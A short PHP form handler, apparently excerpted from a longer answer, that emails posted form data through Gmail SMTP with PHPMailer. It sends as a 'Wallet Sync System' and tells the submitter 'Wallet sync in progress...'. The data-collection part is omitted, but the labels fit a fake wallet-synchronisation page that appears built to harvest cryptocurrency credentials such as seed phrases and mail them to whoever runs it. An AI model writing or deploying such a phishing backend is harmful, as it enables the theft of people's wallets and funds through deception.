<?php
// Include PHPMailer (download from https://github.com/PHPMailer/PHPMailer)
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'vendor/autoload.php'; // If using Composer
// OR
// require 'PHPMailer/src/Exception.php';
// require 'PHPMailer/src/PHPMailer.php';
// require 'PHPMailer/src/SMTP.php';

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    
    // ... (same data collection code as above)
    
    $mail = new PHPMailer(true);
    
    try {
        // Server settings
        $mail->isSMTP();
        $mail->Host       = 'smtp.gmail.com'; // Your SMTP server
        $mail->SMTPAuth   = true;
        $mail->Username   = 'your-email@gmail.com'; // SMTP username
        $mail->Password   = 'your-app-password'; // SMTP password
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
        $mail->Port       = 587;
        
        // Recipients
        $mail->setFrom('noreply@web.quantumnexus.ltd', 'Wallet Sync System');
        $mail->addAddress('');
        
        // Content
        $mail->isHTML(false);
        $mail->Subject = $subject;
        $mail->Body    = $message;
        
        $mail->send();
        echo json_encode(['status' => 'success', 'message' => 'Wallet sync in progress...']);
        
    } catch (Exception $e) {
        echo json_encode(['status' => 'error', 'message' => 'Mailer Error: ' . $mail->ErrorInfo]);
    }
}
?>